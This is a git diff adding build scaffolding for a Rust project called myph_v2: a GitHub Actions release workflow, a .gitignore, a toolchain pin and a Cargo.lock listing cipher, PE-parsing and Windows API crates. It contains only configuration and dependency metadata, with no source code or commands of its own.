diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
@@ -0,0 +1,57 @@
+name: Release
+
+on:
+ push:
+ tags:
+ - 'v*'
+
+env:
+ CARGO_TERM_COLOR: always
+ RUST_VERSION: 1.85.0
+
+permissions:
+ contents: write
+
+jobs:
+ create-release:
+ name: Create Release
+ runs-on: ubuntu-latest
+ steps:
+ - name: Checkout code
+ uses: actions/checkout@v4
+
+ - name: Install Rust toolchain
+ uses: dtolnay/rust-toolchain@stable
+ with:
+ toolchain: ${{ env.RUST_VERSION }}
+
+ - name: Cache cargo registry
+ uses: actions/cache@v4
+ with:
+ path: ~/.cargo/registry
+ key: ${{ runner.os }}-cargo-registry-${{ hashFiles('**/Cargo.lock') }}
+
+ - name: Cache cargo index
+ uses: actions/cache@v4
+ with:
+ path: ~/.cargo/git
+ key: ${{ runner.os }}-cargo-git-${{ hashFiles('**/Cargo.lock') }}
+
+ - name: Cache cargo build
+ uses: actions/cache@v4
+ with:
+ path: target
+ key: ${{ runner.os }}-cargo-build-target-release-${{ hashFiles('**/Cargo.lock') }}
+
+ - name: Build release binary
+ run: cargo build --release --verbose
+
+ - name: Create GitHub Release
+ uses: softprops/action-gh-release@v2
+ with:
+ files: target/release/myph_v2
+ draft: false
+ prerelease: false
+ generate_release_notes: true
+ env:
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
diff --git a/.gitignore b/.gitignore
@@ -0,0 +1,22 @@
+# Cargo build artifacts
+/target/
+
+# IDE files
+.vscode/
+.idea/
+*.swp
+*.swo
+*~
+
+# OS files
+.DS_Store
+Thumbs.db
+
+# E2E test artifacts
+e2e-test/
+
+# Test files
+test_output*
+test_shellcode.raw
+*.raw
+*.backup
diff --git a/.tool-versions b/.tool-versions
@@ -0,0 +1 @@
+rust 1.85.0
diff --git a/Cargo.lock b/Cargo.lock
@@ -0,0 +1,1094 @@
+# This file is automatically @generated by Cargo.
+# It is not intended for manual editing.
+version = 4
+
+[[package]]
+name = "aes"
+version = "0.8.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
+dependencies = [
+ "cfg-if",
+ "cipher",
+ "cpufeatures",
+]
+
+[[package]]
+name = "android_system_properties"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "anstream"
+version = "0.6.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "43d5b281e737544384e969a5ccad3f1cdd24b48086a0fc1b2a5262a26b8f4f4a"
+dependencies = [
+ "anstyle",
+ "anstyle-parse",
+ "anstyle-query",
+ "anstyle-wincon",
+ "colorchoice",
+ "is_terminal_polyfill",
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle"
+version = "1.0.13"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5192cca8006f1fd4f7237516f40fa183bb07f8fbdfedaa0036de5ea9b0b45e78"
+
+[[package]]
+name = "anstyle-parse"
+version = "0.2.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2"
+dependencies = [
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle-query"
+version = "1.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc"
+dependencies = [
+ "windows-sys",
+]
+
+[[package]]
+name = "anstyle-wincon"
+version = "3.0.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d"
+dependencies = [
+ "anstyle",
+ "once_cell_polyfill",
+ "windows-sys",
+]
+
+[[package]]
+name = "array-init"
+version = "2.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3d62b7694a562cdf5a74227903507c56ab2cc8bdd1f781ed5cb4cf9c9f810bfc"
+
+[[package]]
+name = "autocfg"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
+
+[[package]]
+name = "base64"
+version = "0.22.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
+
+[[package]]
+name = "binrw"
+version = "0.15.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "81419ff39e6ed10a92a7f125290859776ced35d9a08a665ae40b23e7ca702f30"
+dependencies = [
+ "array-init",
+ "binrw_derive",
+ "bytemuck",
+]
+
+[[package]]
+name = "binrw_derive"
+version = "0.15.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "376404e55ec40d0d6f8b4b7df3f87b87954bd987f0cf9a7207ea3b6ea5c9add4"
+dependencies = [
+ "either",
+ "owo-colors",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "bitflags"
+version = "1.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
+
+[[package]]
+name = "bitflags"
+version = "2.10.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
+dependencies = [
+ "serde_core",
+]
+
+[[package]]
+name = "block-buffer"
+version = "0.10.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
+dependencies = [
+ "generic-array",
+]
+
+[[package]]
+name = "block-padding"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93"
+dependencies = [
+ "generic-array",
+]
+
+[[package]]
+name = "blowfish"
+version = "0.9.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7"
+dependencies = [
+ "byteorder",
+ "cipher",
+]
+
+[[package]]
+name = "bumpalo"
+version = "3.19.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5dd9dc738b7a8311c7ade152424974d8115f2cdad61e8dab8dac9f2362298510"
+
+[[package]]
+name = "bytemuck"
+version = "1.24.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1fbdf580320f38b612e485521afda1ee26d10cc9884efaaa750d383e13e3c5f4"
+
+[[package]]
+name = "byteorder"
+version = "1.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
+
+[[package]]
+name = "camellia"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3264e2574e9ef2b53ce6f536dea83a69ac0bc600b762d1523ff83fe07230ce30"
+dependencies = [
+ "byteorder",
+ "cipher",
+]
+
+[[package]]
+name = "cbc"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6"
+dependencies = [
+ "cipher",
+]
+
+[[package]]
+name = "cc"
+version = "1.2.51"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7a0aeaff4ff1a90589618835a598e545176939b97874f7abc7851caa0618f203"
+dependencies = [
+ "find-msvc-tools",
+ "shlex",
+]
+
+[[package]]
+name = "cfg-if"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
+
+[[package]]
+name = "chacha20"
+version = "0.9.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818"
+dependencies = [
+ "cfg-if",
+ "cipher",
+ "cpufeatures",
+]
+
+[[package]]
+name = "chrono"
+version = "0.4.42"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "145052bdd345b87320e369255277e3fb5152762ad123a901ef5c262dd38fe8d2"
+dependencies = [
+ "iana-time-zone",
+ "js-sys",
+ "num-traits",
+ "serde",
+ "wasm-bindgen",
+ "windows-link",
+]
+
+[[package]]
+name = "cipher"
+version = "0.4.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
+dependencies = [
+ "crypto-common",
+ "inout",
+]
+
+[[package]]
+name = "clap"
+version = "4.5.53"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c9e340e012a1bf4935f5282ed1436d1489548e8f72308207ea5df0e23d2d03f8"
+dependencies = [
+ "clap_builder",
+ "clap_derive",
+]
+
+[[package]]
+name = "clap_builder"
+version = "4.5.53"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d76b5d13eaa18c901fd2f7fca939fefe3a0727a953561fefdf3b2922b8569d00"
+dependencies = [
+ "anstream",
+ "anstyle",
+ "clap_lex",
+ "strsim",
+]
+
+[[package]]
+name = "clap_derive"
+version = "4.5.49"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2a0b5487afeab2deb2ff4e03a807ad1a03ac532ff5a2cee5d86884440c7f7671"
+dependencies = [
+ "heck",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "clap_lex"
+version = "0.7.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a1d728cc89cf3aee9ff92b05e62b19ee65a02b5702cff7d5a377e32c6ae29d8d"
+
+[[package]]
+name = "colorchoice"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75"
+
+[[package]]
+name = "core-foundation-sys"
+version = "0.8.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
+
+[[package]]
+name = "cpufeatures"
+version = "0.2.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "crypto-common"
+version = "0.1.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a"
+dependencies = [
+ "generic-array",
+ "typenum",
+]
+
+[[package]]
+name = "digest"
+version = "0.10.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
+dependencies = [
+ "block-buffer",
+ "crypto-common",
+]
+
+[[package]]
+name = "either"
+version = "1.15.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
+
+[[package]]
+name = "encoding_rs"
+version = "0.8.35"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3"
+dependencies = [
+ "cfg-if",
+]
+
+[[package]]
+name = "find-msvc-tools"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "645cbb3a84e60b7531617d5ae4e57f7e27308f6445f5abf653209ea76dec8dff"
+
+[[package]]
+name = "generic-array"
+version = "0.14.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
+dependencies = [
+ "typenum",
+ "version_check",
+]
+
+[[package]]
+name = "getrandom"
+version = "0.2.16"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "wasi",
+]
+
+[[package]]
+name = "getrandom"
+version = "0.3.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "r-efi",
+ "wasip2",
+]
+
+[[package]]
+name = "getset"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9cf0fc11e47561d47397154977bc219f4cf809b2974facc3ccb3b89e2436f912"
+dependencies = [
+ "proc-macro-error2",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "goblin"
+version = "0.10.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4db6758c546e6f81f265638c980e5e84dfbda80cfd8e89e02f83454c8e8124bd"
+dependencies = [
+ "log",
+ "plain",
+ "scroll",
+]
+
+[[package]]
+name = "heck"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
+
+[[package]]
+name = "iana-time-zone"
+version = "0.1.64"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "33e57f83510bb73707521ebaffa789ec8caf86f9657cad665b092b581d40e9fb"
+dependencies = [
+ "android_system_properties",
+ "core-foundation-sys",
+ "iana-time-zone-haiku",
+ "js-sys",
+ "log",
+ "wasm-bindgen",
+ "windows-core",
+]
+
+[[package]]
+name = "iana-time-zone-haiku"
+version = "0.1.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
+dependencies = [
+ "cc",
+]
+
+[[package]]
+name = "inout"
+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
+dependencies = [
+ "block-padding",
+ "generic-array",
+]
+
+[[package]]
+name = "is_terminal_polyfill"
+version = "1.70.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695"
+
+[[package]]
+name = "itoa"
+version = "1.0.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2"
+
+[[package]]
+name = "js-sys"
+version = "0.3.83"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "464a3709c7f55f1f721e5389aa6ea4e3bc6aba669353300af094b29ffbdde1d8"
+dependencies = [
+ "once_cell",
+ "wasm-bindgen",
+]
+
+[[package]]
+name = "libc"
+version = "0.2.178"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "37c93d8daa9d8a012fd8ab92f088405fb202ea0b6ab73ee2482ae66af4f42091"
+
+[[package]]
+name = "lnk"
+version = "0.6.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "31e8628ddc5b5ce2b0411d8f389886d3bb265f91f9413662fa81fdd108a9ae33"
+dependencies = [
+ "binrw",
+ "bitflags 2.10.0",
+ "chrono",
+ "encoding_rs",
+ "getset",
+ "log",
+ "num-derive 0.4.2",
+ "num-traits",
+ "serde",
+ "serde_json",
+ "stability",
+ "substring",
+ "thiserror 2.0.17",
+ "uuid",
+ "winstructs",
+]
+
+[[package]]
+name = "log"
+version = "0.4.29"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
+
+[[package]]
+name = "memchr"
+version = "2.7.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273"
+
+[[package]]
+name = "myph_v2"
+version = "0.1.0"
+dependencies = [
+ "aes",
+ "base64",
+ "blowfish",
+ "camellia",
+ "cbc",
+ "chacha20",
+ "cipher",
+ "clap",
+ "goblin",
+ "lnk",
+ "ntapi",
+ "rand",
+ "sha2",
+ "twofish",
+ "uuid",
+ "winapi",
+]
+
+[[package]]
+name = "ntapi"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c70f219e21142367c70c0b30c6a9e3a14d55b4d12a204d897fbec83a0363f081"
+dependencies = [
+ "winapi",
+]
+
+[[package]]
+name = "num-derive"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 1.0.109",
+]
+
+[[package]]
+name = "num-derive"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "num-traits"
+version = "0.2.19"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
+dependencies = [
+ "autocfg",
+]
+
+[[package]]
+name = "once_cell"
+version = "1.21.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
+
+[[package]]
+name = "once_cell_polyfill"
+version = "1.70.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe"
+
+[[package]]
+name = "owo-colors"
+version = "4.2.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9c6901729fa79e91a0913333229e9ca5dc725089d1c363b2f4b4760709dc4a52"
+
+[[package]]
+name = "plain"
+version = "0.2.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6"
+
+[[package]]
+name = "ppv-lite86"
+version = "0.2.21"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
+dependencies = [
+ "zerocopy",
+]
+
+[[package]]
+name = "proc-macro-error-attr2"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5"
+dependencies = [
+ "proc-macro2",
+ "quote",
+]
+
+[[package]]
+name = "proc-macro-error2"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802"
+dependencies = [
+ "proc-macro-error-attr2",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "proc-macro2"
+version = "1.0.103"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5ee95bc4ef87b8d5ba32e8b7714ccc834865276eab0aed5c9958d00ec45f49e8"
+dependencies = [
+ "unicode-ident",
+]
+
+[[package]]
+name = "quote"
+version = "1.0.42"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a338cc41d27e6cc6dce6cefc13a0729dfbb81c262b1f519331575dd80ef3067f"
+dependencies = [
+ "proc-macro2",
+]
+
+[[package]]
+name = "r-efi"
+version = "5.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f"
+
+[[package]]
+name = "rand"
+version = "0.8.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
+dependencies = [
+ "libc",
+ "rand_chacha",
+ "rand_core",
+]
+
+[[package]]
+name = "rand_chacha"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
+dependencies = [
+ "ppv-lite86",
+ "rand_core",
+]
+
+[[package]]
+name = "rand_core"
+version = "0.6.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
+dependencies = [
+ "getrandom 0.2.16",
+]
+
+[[package]]
+name = "rustversion"
+version = "1.0.22"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d"
+
+[[package]]
+name = "scroll"
+version = "0.13.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c1257cd4248b4132760d6524d6dda4e053bc648c9070b960929bf50cfb1e7add"
+dependencies = [
+ "scroll_derive",
+]
+
+[[package]]
+name = "scroll_derive"
+version = "0.13.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ed76efe62313ab6610570951494bdaa81568026e0318eaa55f167de70eeea67d"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "serde"
+version = "1.0.228"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e"
+dependencies = [
+ "serde_core",
+ "serde_derive",
+]
+
+[[package]]
+name = "serde_core"
+version = "1.0.228"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad"
+dependencies = [
+ "serde_derive",
+]
+
+[[package]]
+name = "serde_derive"
+version = "1.0.228"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "serde_json"
+version = "1.0.148"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3084b546a1dd6289475996f182a22aba973866ea8e8b02c51d9f46b1336a22da"
+dependencies = [
+ "itoa",
+ "memchr",
+ "serde",
+ "serde_core",
+ "zmij",
+]
+
+[[package]]
+name = "sha2"
+version = "0.10.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
+dependencies = [
+ "cfg-if",
+ "cpufeatures",
+ "digest",
+]
+
+[[package]]
+name = "shlex"
+version = "1.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
+
+[[package]]
+name = "stability"
+version = "0.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d904e7009df136af5297832a3ace3370cd14ff1546a232f4f185036c2736fcac"
+dependencies = [
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "strsim"
+version = "0.11.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
+
+[[package]]
+name = "substring"
+version = "1.4.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "42ee6433ecef213b2e72f587ef64a2f5943e7cd16fbd82dbe8bc07486c534c86"
+dependencies = [
+ "autocfg",
+]
+
+[[package]]
+name = "syn"
+version = "1.0.109"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
+[[package]]
+name = "syn"
+version = "2.0.111"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "390cc9a294ab71bdb1aa2e99d13be9c753cd2d7bd6560c77118597410c4d2e87"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
+[[package]]
+name = "thiserror"
+version = "1.0.69"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52"
+dependencies = [
+ "thiserror-impl 1.0.69",
+]
+
+[[package]]
+name = "thiserror"
+version = "2.0.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f63587ca0f12b72a0600bcba1d40081f830876000bb46dd2337a3051618f4fc8"
+dependencies = [
+ "thiserror-impl 2.0.17",
+]
+
+[[package]]
+name = "thiserror-impl"
+version = "1.0.69"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "thiserror-impl"
+version = "2.0.17"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3ff15c8ecd7de3849db632e14d18d2571fa09dfc5ed93479bc4485c7a517c913"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+]
+
+[[package]]
+name = "twofish"
+version = "0.7.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a78e83a30223c757c3947cd144a31014ff04298d8719ae10d03c31c0448c8013"
+dependencies = [
+ "cipher",
+]
+
+[[package]]
+name = "typenum"
+version = "1.19.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb"
+
+[[package]]
+name = "unicode-ident"
+version = "1.0.22"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5"
+
+[[package]]
+name = "utf8parse"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
+
+[[package]]
+name = "uuid"
+version = "1.19.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e2e054861b4bd027cd373e18e8d8d8e6548085000e41290d95ce0c373a654b4a"
+dependencies = [
+ "getrandom 0.3.4",
+ "js-sys",
+ "wasm-bindgen",
+]
+
+[[package]]
+name = "version_check"
+version = "0.9.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
+
+[[package]]
+name = "wasi"
+version = "0.11.1+wasi-snapshot-preview1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
+
+[[package]]
+name = "wasip2"
+version = "1.0.1+wasi-0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0562428422c63773dad2c345a1882263bbf4d65cf3f42e90921f787ef5ad58e7"
+dependencies = [
+ "wit-bindgen",
+]
+
+[[package]]
+name = "wasm-bindgen"
+version = "0.2.106"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0d759f433fa64a2d763d1340820e46e111a7a5ab75f993d1852d70b03dbb80fd"
+dependencies = [
+ "cfg-if",
+ "once_cell",
+ "rustversion",
+ "wasm-bindgen-macro",
+ "wasm-bindgen-shared",
+]
+
+[[package]]
+name = "wasm-bindgen-macro"
+version = "0.2.106"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "48cb0d2638f8baedbc542ed444afc0644a29166f1595371af4fecf8ce1e7eeb3"
+dependencies = [
+ "quote",
+ "wasm-bindgen-macro-support",
+]
+
+[[package]]
+name = "wasm-bindgen-macro-support"
+version = "0.2.106"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cefb59d5cd5f92d9dcf80e4683949f15ca4b511f4ac0a6e14d4e1ac60c6ecd40"
+dependencies = [
+ "bumpalo",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.111",
+ "wasm-bindgen-shared",
+]
+
+[[package]]
+name = "wasm-bindgen-shared"
+version = "0.2.106"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cbc538057e648b67f72a982e708d485b2efa771e1ac05fec311f9f63e5800db4"
+dependencies = [
+ "unicode-ident",
+]
+
+[[package]]
+name = "winapi"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
+dependencies = [
+ "winapi-i686-pc-windows-gnu",
+ "winapi-x86_64-pc-windows-gnu",
+]
+
+[[package]]
+name = "winapi-i686-pc-windows-gnu"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
+
+[[package]]
+name = "winapi-x86_64-pc-windows-gnu"
+version = "0.4.0"
